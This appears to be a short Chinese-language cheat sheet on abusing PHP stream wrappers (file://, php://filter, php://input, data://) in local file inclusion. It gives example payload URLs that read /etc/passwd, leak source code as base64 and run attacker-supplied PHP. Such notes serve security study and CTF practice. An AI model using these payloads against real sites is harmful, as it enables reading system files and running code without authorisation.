file://
作用:
用于访问文件(绝对路径、相对路径、网络路径)
示例:
http://www.xx.com?file=file:///etc/passswd
php://
作用:访问输入输出流
1. php://filter
作用:
读取源代码并进行base64编码输出
示例:
http://xxx.x.x.x/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)
参数:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
2. php://input
作用:
执行POST数据中的php代码
示例:
http://xxx.x.x.x/cmd.php?cmd=php://input
POST数据:
<?php phpinfo()?>
注意:
enctype="multipart/form-data"
的时候php://input
是无效的
Example:
php://filter
用于读取源码php://input
用于执行php代码
所以下面采用filter来读源码,但上面提到过针对php文件需要base64编码,所以使用其自带的base64过滤器。
?file=php://filter/read=convert.base64-encode/resource=useless.php
data://
作用:
data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到
base64编码
传输
示例:
http://xxx.x.x.x/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b